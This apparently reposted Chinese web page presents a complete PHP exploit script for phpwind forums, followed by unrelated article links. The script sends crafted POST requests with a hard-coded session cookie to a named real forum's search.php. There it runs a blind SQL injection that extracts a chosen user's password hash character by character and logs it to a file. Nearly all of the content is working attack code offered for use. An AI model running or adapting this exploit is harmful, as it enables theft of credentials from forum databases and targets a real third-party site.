從網(wǎng)上搜到的phpwind 0day的代碼
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Codz By 劍心</title>
<style type="text/css">
body,td {
font-family: "Tahoma";
font-size: "12px";
line-height: "150%";
}
.smlfont {
font-family: "Tahoma";
font-size: "11px";
}
.INPUT {
FONT-SIZE: "12px";
COLOR: "#000000";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #666666";
padding-left: "2px";
}
.redfont {
COLOR: "#A60000";
}
a:link,a:visited,a:active {
color: "#000000";
text-decoration: underline;
}
a:hover {
color: "#465584";
text-decoration: none;
}
.top {BACKGROUND-COLOR: "#CCCCCC"}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
</style>
<center>The Exploiet Of The All Phpwind Version</center>
<center> BY 劍心</center>
<br>
<br>
<br>
<br>
<br>
<?php
ini_set("max_execution_time",0);
error_reporting(7);
$path="/search.php";
$server='bbs.ccidnet.com';
$cookie='lastfid=0; ol_offset=27160; ipstate=1160671066; ipfrom=7641b3edc60a722a72f5a76e55ce6e97%09%B1%B1%BE%A9%CA%D0%B7%BD%D5%FD%BF%ED%B4%F8%0D; lastvisit=0%091161077981%09%2Fsearch.php%3F; auth=3435393735327c313136313037363538383230367c327c6261646567677c31303030303030303030303030303030; PHPSESSID=3b11a9ca33071f0b06c9aab0995918a7; cknum=BlJQUwZSVgtXAz9sBFEAWgtdU1NXUANSWAEFDFNQVVYDUA1QB1tTUQAHVAE%3D';
$useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)";
$uid=2;
$_GET['uid']&&$uid=$_GET['uid'];
$tid=539264;
$mask='沒(méi)有查找匹配的內(nèi)容';
$count=0;
//$testing=1;
//$testing=$_GET['test'];
if($testing) {preg_match('/X-Powered-By: php\/(.+)\r\n/ie',send(""),$php);echo$php[1];die();}
//$debug=1;
$temp=md5(rand(1,100)+microtime());
$cmd="step=3&pwuser=".$temp."loveshell"."&uids=-1".$sql."/*j&184288238=kkkk&276791066=jjjjjj";
$response=send($cmd);
preg_match('/FROM (.+)threads/ie',$response,$match);
$pre=$match[1];
if ($match[1]) echo 'Good Job!Wo Got The pre: <font color=red>'.$match[1]."</font><br>";
else if (strpos($response,'value="登 錄"')) die("You Are Not Login!Try to get anthor Cookie and Useragen value!<br>");
else {echo "Maybe It is not vul!<br>";die();}
echo "Try to Get the uid=$uid 's Password:<font color=red>";
$log=fopen('log.txt','a+');
for($i=0;$i<16;$i++)
{
$type=0;
$sub=$i+9;
$temp=md5(rand(1,100)+microtime());
$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1)) >47 and ord(mid(password,$sub,1))<58";
$sql=urlencode($sql);
$temp=md5(rand(1,100)+microtime());
$cmd="step=3&pwuser=".$temp."loveshell"."&uids=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {
$type=0;
for($m=48;$m<=57;$m++){
$temp=md5(rand(1,100)+microtime());
$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1))=$m";
$sql=urlencode($sql);
$temp=md5(rand(1,100)+microtime());
$cmd="step=3&pwuser=".$temp."loveshell"."&uids=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {
echo chr($m);
fputs($log,chr($m));
break;
}
continue;
}
continue;
}
$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1)) >96 and ord(mid(password,$sub,1))<123";
$sql=urlencode($sql);
$temp=md5(rand(1,10000)+microtime());
$cmd="step=3&pwuser=".$temp."loveshell"."&uids=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {
$type=1;
for($m=97;$m<=122;$m++){
$temp=md5(rand(1,100)+microtime());
$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1))=$m";
$sql=urlencode($sql);
$temp=md5(rand(1,100)+microtime());
$cmd="step=3&pwuser=".$temp."loveshell"."&uids=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {
echo chr($m);
fputs($log,chr($m));
break;
}
continue;
}
continue;
}
echo "error!<br>";
die("Shit!May be the data you post is Not valid!Try anthor UID\r\n");
}
fclose($log);
echo "<br>Done!We Post $count times!<br>";
function send($cmd)
{
global $path,$server,$cookie,$count,$useragent,$debug;
$count=$count+1;
$message = "POST ".$path."? HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
return $resp;
}
?>
相關(guān)文章
PHP 開(kāi)源框架22個(gè)簡(jiǎn)單簡(jiǎn)介
PHP 是一個(gè)被廣泛使用的來(lái)進(jìn)行Web開(kāi)發(fā)的腳本語(yǔ)言。雖然有很多其它可供選擇的Web開(kāi)發(fā)語(yǔ)言,像:ASP 和Ruby,但是PHP是目前為止世界上最為流行的。2009-08-08
對(duì)PHP語(yǔ)言認(rèn)識(shí)上需要避免的10大誤區(qū)
PHP是一種非常流行的開(kāi)源服務(wù)器端腳本語(yǔ)言,你在萬(wàn)維網(wǎng)看到的大多數(shù)網(wǎng)站都是使用php開(kāi)發(fā)的。很多人不用php并不是因?yàn)橐恍┍蛔C實(shí)的語(yǔ)言缺點(diǎn)。他們決定不用php,是因?yàn)檎`解。2014-06-06
javascript 小型動(dòng)畫(huà)組件與實(shí)現(xiàn)代碼
javascript 小型動(dòng)畫(huà)組件與實(shí)現(xiàn)代碼,想要學(xué)習(xí)js動(dòng)畫(huà)的朋友可以參考下。思路確實(shí)很實(shí)用。2010-06-06
開(kāi)發(fā)大型 PHP 項(xiàng)目的方法
這篇文章主要介紹了開(kāi)發(fā)大型 PHP 項(xiàng)目的方法2007-01-01
PHP5.2下chunk_split()函數(shù)整數(shù)溢出漏洞 分析
PHP5.2下chunk_split()函數(shù)整數(shù)溢出漏洞 分析...2007-06-06
dedecms系統(tǒng)常用術(shù)語(yǔ)匯總
dedecms系統(tǒng)常用術(shù)語(yǔ)匯總...2007-04-04
php教程 插件機(jī)制在PHP中實(shí)現(xiàn)方案
PHP中插件機(jī)制的一種實(shí)現(xiàn)方案. 這篇文章的出發(fā)點(diǎn)是我對(duì)插件機(jī)制的理解,及其在PHP中的實(shí)現(xiàn)。此方案僅是插件機(jī)制在PHP中的2012-11-11
怎樣才能成為PHP高手?學(xué)會(huì)“懶惰”的編程
這篇文章主要介紹了怎樣才能成為PHP高手?學(xué)會(huì)“懶惰”的編程2006-12-12

